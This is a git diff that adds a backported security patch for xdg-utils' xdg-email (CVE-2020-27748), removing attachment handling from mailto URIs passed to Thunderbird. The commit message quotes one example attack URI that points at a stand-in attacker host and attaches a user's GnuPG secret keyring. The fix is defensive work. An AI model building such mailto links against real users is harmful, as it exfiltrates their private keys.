diff options
Diffstat (limited to 'meta/recipes-extended/xdg-utils/xdg-utils')
| -rw-r--r-- | meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch | 58 |
1 files changed, 58 insertions, 0 deletions
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch new file mode 100644 index 0000000000..948b9e22e9 --- /dev/null +++ b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch @@ -0,0 +1,58 @@ +From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io> +Date: Tue, 18 Aug 2020 16:52:24 +0100 +Subject: [PATCH] xdg-email: remove attachment handling from mailto +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +This allows attacker to extract secrets from users: + +mailto:sid@evil.com?attach=/.gnupg/secring.gpg + +See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425 +and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177 + +Signed-off-by: Jörg Thalheim <joerg@thalheim.io> +--- + scripts/xdg-email.in | 7 +------ + 1 file changed, 1 insertion(+), 6 deletions(-) + +Upstream-Status: Backport +CVE: CVE-2020-27748 + +diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in +index 6db58ad..5d2f4f3 100644 +--- a/scripts/xdg-email.in ++++ b/scripts/xdg-email.in +@@ -32,7 +32,7 @@ _USAGE + + run_thunderbird() + { +- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH ++ local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY + THUNDERBIRD="$1" + MAILTO=$(echo "$2" | sed 's/^mailto://') + echo "$MAILTO" | grep -qs "^?" +@@ -48,7 +48,6 @@ run_thunderbird() + BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }')) + SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1) + BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1) +- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//')) + + if [ -z "$TO" ] ; then + NEWMAILTO= +@@ -68,10 +67,6 @@ run_thunderbird() + NEWMAILTO="${NEWMAILTO},$BODY" + fi + +- if [ -n "$ATTACH" ] ; then +- NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'" +- fi +- + NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//') + DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\"" + "$THUNDERBIRD" -compose "$NEWMAILTO" +-- +GitLab + |